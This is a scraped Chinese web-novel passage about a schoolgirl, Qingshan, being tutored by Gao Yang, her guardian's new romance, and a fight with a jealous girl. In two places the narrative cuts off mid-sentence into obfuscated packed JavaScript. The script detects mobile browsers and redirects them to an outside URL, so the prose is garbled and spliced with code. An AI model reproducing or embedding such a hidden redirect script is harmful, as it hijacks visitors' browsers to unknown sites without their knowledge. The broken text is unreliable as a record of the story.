孟琳似乎崴了脚,高跟鞋岌岌可危地挂在脚尖上,她有些站立不稳,只能撑在身旁人的肩上站着,还没等阿让出柜台,角落里一道黑影疾步冲出去拦腰将孟琳抱在怀里,一手伸向她膝窝,抱着她往外走,面上是显而易见不加掩饰的焦急。 阿让和青山看得眼珠子都快瞪出来了,“不是,合着他要泡的是咱老板啊?” 青山眨眨眼,没见过这种大场面,惊诧地摇摇高扬的手臂,“他和孟琳?” 其实只有阿让和青山这两个呆瓜不知道,高扬每天在外头送货,跑来跑去,消息比谁都灵通,他几乎是看着那个男人和孟琳从眉来眼去到狼狈为奸的。 半个月前街角开了个修车店,里头的老板长了副招人的皮囊,街头巷尾的小姑娘都爱往那儿块凑,要么找他修自行车,要么就是有的没的搭两句话,但这老板总是冷着张脸,拒人于千里之外,不少姑娘都是丧着脸回来的。 老板叫贺川,二十五岁,单身,这是高扬从街坊大妈嘴里知道的,难得来了个适龄青年,大妈们嘴巴都笑得合不拢了,三天两头地给他介绍对象,从自家女儿介绍到侄女,到外甥女,到表侄女,表外甥女,偏偏就没有这小伙子看得上眼的。 大妈也无奈了,渐渐放弃给他介绍对象。 没想到他不要脸地盯上了这里最美的姑娘,高扬不止一次看到他黝黑的眸子盯着孟琳瞧,那眼神极具侵略性,恨不得将她吞吃下腹,只是一眼,高扬就确定,孟琳要遭殃了。 在蛰伏多日后,他似乎终于摸清了孟琳工作的地方,每天关了店后就在这儿坐上一两个小时,高扬也不知道他俩是什么时候好上的,等他反应过来时,这俩几乎已经到了生米煮成熟饭的地步了。 他轻咳一声,不想说这些污了青山的耳朵,看她这懵懂的样子,恐怕什么都不知道呢,他转移了话题,专往青山痛处戳:“那个……听说你月考成绩下来了,考得怎么样?” 青山:“……” 她也不知道高扬是故意的还是无心的,一开口就是精准打击,她泄气地往凳子上一坐,眉眼间颇有几分忧郁。 她最近清晰地认识到自己和其他同学根本不在一个起跑线上,初中毕业后,她离开学校已经有一年多了,现在又是半路加入,不说两个学校教育水平的差距,就光是耽误的这点时间,也注定了她只能远远地望着同学们的烟尾气叹息。 哪怕吉祥总是在课后偷偷给她开小灶,该听不懂的她照样听不懂,吉祥是年纪第一,脑子活络人也好,可不知道为什么,青山还是听不懂她讲的题。 看青山这副沮丧的样子,高扬不用问也知道她一定考得不怎么样了,他叹了声,拎起青山的书包把她带到了后厨。 后厨相对安静些,没前面那么吵。 他没擅自翻包,而是把书包递给青山,蹙着眉道:“自己把成绩单拿出来,我看看。” 高扬面上不自觉带了些严肃,口吻也低沉着,他兴许自己没发现,但在青山看来,他冷着脸很阴沉的样子,总之看上去不大好惹,青山没敢耽误,哪怕成绩单上的数字惨不忍睹,她也麻溜拿出来递到了高扬面前。 高扬接过,认真看着她的成绩单。 平心而论,青山文科不算差,哪怕英语口语没那么好,但笔试也能拿到一个不错的分数,主要是理科…… 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889068|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 手指划过那几个甚至没及格的数字,眉毛高高拧起,周身气场冷凝,冻得青山一哆嗦。 “青山。”他冷不丁地开口,“是听不懂老师讲什么吗?” “嗯。”青山咬唇,她有些委屈,从前在老家学校,她的成绩不算顶尖,那也是数一数二的,可谁知到了这里……她面皮薄,这会儿已经微微泛了红色,像粉嫩的蜜桃。 ”老师……总是用粤语讲课,我本来就跟不上,现在更听不懂了。” 她深深低下头去,没敢看高扬的脸,其实孟琳和阿让早就问过她成绩了,但不知为什么,明明在他们面前能够很坦率地报出分数,但在高扬面前就不行,心头萦绕着浓浓的羞耻感,比被人打了一巴掌还觉得难堪。 头顶忽地传来一份温暖的重量,沉甸甸的不容忽视,高扬在她柔软的头顶揉了几下,叹道:“算了,以后每天放学来我家,我给你补课。” “诶?” 青山意外地抬起头,高扬居然没有骂她,还提出要帮她补课。 高扬看她一脸疑惑的模样,伸手在她鼻尖上刮了一下,“听见了吗?” “哦、哦,听见了。”青山连忙答应,生怕应晚了他就反悔了,末了,她又补了句,“但是会不会给你添麻烦呀?” “添什么麻烦,你考得差才是给我添麻烦,看着这成绩我都气得心口疼,估计今天晚上都要睡不着了。” 高扬有意吓她,见她呆住不动,这才勾唇笑了笑,拿起她的书包背在身上,“走吧,送你回去。” 自从上学之后,孟琳也不让青山来舞厅干活了,就是工资还照发,美其名曰是零花钱,青山拿着不安心,偶尔得了空才会来舞厅帮一两个小时的忙,其他大多数时候都窝在家里写作业。 已经接近深冬,风本该料峭,可青山觉得今夜的风格外温柔,轻轻卷起高扬额上的碎发,绕着打了几个旋儿,她想高扬的头发一定很柔软,应该像棉花。 将人送到家门口,高扬把背上的书包递给她,同她告别:“去吧,早点睡,晚安。” “晚安。” 自从高扬第一次对她说了晚安之后,后来每一次送她回家,他都会额外对青山道一声晚安,像是执拗地执行什么命令。 青山转身开门,屋里亮着灯,孟琳似乎已经回来了,只是房间门关着,里头窸窸窣窣似有什么声音。 她想起孟琳今天崴了脚,不免有些担心,想了想还是走过去敲她的门:“孟琳,你脚好点了吗?还痛不痛?” 里头的声音戛然而止,安静地有些可怕。 大概过了几秒,青山听见孟琳的声音,隐隐带着呜咽:“没、没事……呃……我要睡了。” 青山觉得孟琳的声音似乎有些古怪,不同于寻常,但并没想太多,只道:“好吧,你半夜要是疼得厉害记得叫我。” 她等了等没等到孟琳的回答,也就作罢,可能她心情又不好了,不想理人而已。 而在一墙之隔后,孟琳衣衫凌乱地仰在床上,任由男人胡乱作祟。 16. 姐夫 第二天一早青山准备出门时孟琳还没起来,没事的时候她向来是要睡懒觉的,青山没有多想,换了鞋要去上学。 忽地,她拿鞋的动作一顿,目光定定地在那双明显不属于女人的大上好几码的黑色运动鞋上。 “嗯?” 她想起昨天男人强横地把孟琳抱走,应该也是他把孟琳送回了家,难道没走吗?这么小的房子藏不了人,唯一的可能就是男人现在还在孟琳房间里。 青山蓦地瞪大了双眼,她好像发现了什么不得了的秘密。 她手忙脚乱地把鞋子塞回去,年久失修的柜门在碰撞下发出刺耳的吱呀声,在寂静的空气中划开一道口子。 青山呼吸滞了一瞬,这下是半点动静也不敢发出了,她不禁懊悔自己昨天傻不愣登地去敲孟琳的门,简直是蠢得要死,她猫着腰开了门,做贼似的出去了。 屋里孟琳和贺川早就醒了,贺川不满地在孟琳身上哼了几声,问:“你妹妹什么时候走?我想撒尿。” “滚!”孟琳低低斥了声,昨天喝的多了,一时没把持住把人给带回了家,两人都滚到床上去了她才想起青山还没回来,只是那时懊悔也来不及了,更何况正上头呢,也刹不住车。 还好房子隔音差,孟琳耳尖地听到门口传来窸窸窣窣的响动,知道青山已经走了,她踹了一脚身上赖着不动的男人,“赶紧滚,把自己的东西收拾好,别让我妹看见。” 贺川嗤笑了声,光着膀子下床,捡起地上的衣服往头上套,“咱俩不是正经男女朋友吗,现在怎么整得跟偷/情一样?” “你好意思说?两个女人的家你一个男人总是进进出出的算怎么回事?以后不许过夜。” “行,知道了。”贺川不痛不痒应了声,起身离开了。 等人摔上门,孟琳也起身下床,昨天崴去的脚结结实实踏在地板上,没有半分不适。 自从青山知道孟琳和贺川的事儿之后,她就不大爱回家了,每天放学了就去小超市找高扬,然后再由高扬领着去他家,往往到半夜才会回自己家。 事情发生得突然,她甚至还没来得及消化就骤然将其撞破,青山不知道要如何面对孟琳,虽然她可以装作什么都不知道,但显然她的演技并没有那么好。 她怕又一次回去突然撞破,每次都要站在门口做很久的心理准备才敢开门,并不是他们妨碍到了她,而是她怕自己会给孟琳带来麻烦。 那点小小的隐秘的愧疚被她隐藏得很好,连孟琳也没有发现,只以为她是去找高扬补课。 好在高扬是真有两把刷子,讲题的思路比老师清晰明白,抓了这么些天,青山的成绩也算有了米粒大点的提升。 青山独自坐在店里刷题,高扬出去送货了,最近小超市生意还不错,高扬手头也宽裕了点,给奶奶买了件新衣服,也给青山换了双带绒的新鞋。 今天是周末,青山不住校,她有一整天的时间可以浪费在高扬这间小超市里,窗外浮光跃动,细碎的尘埃在光影中流动,一圈又一圈,窗台上不知何时跑上来只小狸花,娇娇地冲她叫。 青山伸手大着胆子去碰他的小鼻子,是湿润又温暖的,微小的呼吸喷洒在她指尖,青山动了动手指,小狸花得寸进尺,歪着身子将头放在她掌心蹭,冬天小狸花长了许多绒毛,软软的也不扎,像一片初生的蒲公英般柔软。 面前忽得笼罩下一片黑影,小狸花嘤叫了一声跑走,青山抬头,几个神情嚣张的女孩儿居高临下站在窗前,双臂环胸看着她,领头的那个甚至染着不伦不类的黄色头发。 青山问:“有什么需要的吗?可以进来看看。” “呵……”黄头发的女孩嗤笑一声,踩着高筒靴昂首迈了进来,趾高气扬地问,“就是你抢了我姐的男朋友?” 身后两个女孩如同护卫一半站在那个女孩的身后,看打扮是高扬嘱咐过的不要去招惹的那群人。 青山愣愣站起来,“我……我不认识你,也不知道你在说什么。” “你不知道?”女孩上半身贴近她,留着长长指甲的手指在青山发梢绕了几圈,忽地收紧力道拽着她的头发逼迫她向自己贴近,“那你怎么在我姐夫店里?我看你好几天了,你够不要脸的啊,才几岁就学会勾男人了?” 青山被扯得头皮一痛,眼中生理泪水条件反射般涌出来,这明明就是高扬的店,怎么会是她姐夫的店?青山不是泥人捏的,她只是把脾气都藏起来,可没道理人家都这么对她了,她还要一味忍让。 青山咬着牙,反手把她披散的长发攥住,在手上绕了几圈紧紧握着不撒手,那个女孩痛呼一声,被迫撒开了手。 身后两个女孩见青山动手,立马拥上来帮忙,青山一人难敌六手,头皮被扯得生疼,脸上也被锋利的指甲挠出了几道血痕,但她没有放手,手里死死攥着对方的头发,她们一打她,青山就条件反射地伸手护着自己,一护着自己,手里的头发就得被拽过来,女孩尖叫着去抠青山的手,但头发牢牢在她手上绑死,要拿下来何其容易。 青山趁乱还了几下手,也不知打到了谁,反正逮谁打谁,她的力气不算大,但好歹也是从小干活,暗戳戳给她们几下还是绰绰有余的。 打得正酣间,高扬走了进来,见几人扭打在一起,还来不及看清是什么情况,便赶紧上前把青山护在怀里。 青山见高扬来便收了手,可怜巴巴缩着身子任她们殴打,在高扬看来,青山根本连还手的力气都没有。他捧着青山的脸紧张地看了半晌,几个女孩子下手没轻没重的,专往人脸上挠,青山头发乱蓬蓬的像个小疯子,脸上掺了泪痕和血道,可怜得不像话。 高扬眼里黑墨翻涌,呼吸都重了几分,他抬手轻柔抚去青山脸上的泪水,低哄道:“不哭。” 他将人揽到身后,这才抬眼去看对面的人,“许夏,你到底要干什么?你知不知道打人是犯法的?” 许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16889069|192152||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏其实也不比青山好到哪里去,青山下手黑,专挑犄角旮旯里打,这种伤也就只有自己才能看到,她捂着腹部不甘地叫嚣:“高扬哥你凭什么帮她?我也受伤了啊,我也被打了,你眼里只有她吗?” 她说这话很没有信服力,毕竟她看上去毫发无伤,也就只有头发稍微凌乱些,青山躲在高扬身后,心虚地将手背在身后,手里还攥着一大把浅黄的头发。 “我自己有眼睛会看。”高扬不为所动,“许夏,你作威作福够了吧?平时我不和你计较,你现在真是越来越过分了,我身边的人你也敢动,你真以为我不打女的?” 许夏也气急了,一双眼通红,但她化着烟熏妆,黑色全包眼线厚厚一坨黏在脸上,又显得滑稽,她不明白,高扬难道不应该客客气气地对她道歉吗,他有求于她们家,就应该低三下气好好哄着她,现在这么硬气做什么,显得他有骨头吗。 一股无名火倏地冒气,她发了疯地大喊:“高扬,你是我姐的男朋友,她去念大学了你就该老实等着她!这个小贱人是哪儿来的,是不是你的姘头?你信不信我现在就去告诉我姐!” “你胡说八道什么!”高扬怒斥她,一双眸子阴沉得能滴出墨来,手臂青筋隆起,瞧着像是要打人,却硬生生忍下了脾气,“你滚不滚,不滚我送你们滚!” 她们走了,青山低着头愣在原地,青灰的地面变得有些模糊,朦朦胧胧罩了一层雾,她看着自己的鞋尖不说话,纯白色的鞋面不染尘埃,是被仔细擦拭过的,毫无预兆的,一颗水珠落在鞋面上,顺着弧度滑下去砸在地上,青山窒息地想,屋里怎么会下雨呢。 高扬把小超市的门关上,又赶紧折回来看青山,把她浑身上下打量了一番,目光触到她通红的眼眶时又变得急切:“青山,哪里疼?是不是很疼,咱们现在去医院好吗?” 可是青山不说话,任凭他怎么询问青山都不说话,青山也不知道自己怎么了,高扬十九岁了,谈对象是很正常的事情,甚至在她老家,十九岁都该生孩子了,可是为什么呢,为什么她会这么心痛,像有人拿斧子把心劈成了两半,一般在烈火里煎煮,一半在冰水里凝结。 她听见自己问:“那个人说得是真的吗?” “什么?” 青山问的声音很小,也许高扬是没听清。 她闭了闭眼,强迫自己又问了一次,“她说的是真的吗?你有女朋友了?” 青山在某些时候很执拗,她妈总骂她死心眼儿,她自己也承认,她确实轴得有些愚蠢,可此时此刻,青山就是想知道答案,想听到高扬亲口说出的答案。 高扬翕动了一下嘴唇,他也许还没有想好要怎么解释,只是无措地说:“青山,不是你想的那样的,我跟她们家是有些来往,可是和她姐姐,还有她,我和她们两个绝对没有任何关系,你不要相信好吗?” 也许是错觉,也许是她疯了,青山竟然觉得,高扬语气里带了些哀求的意味。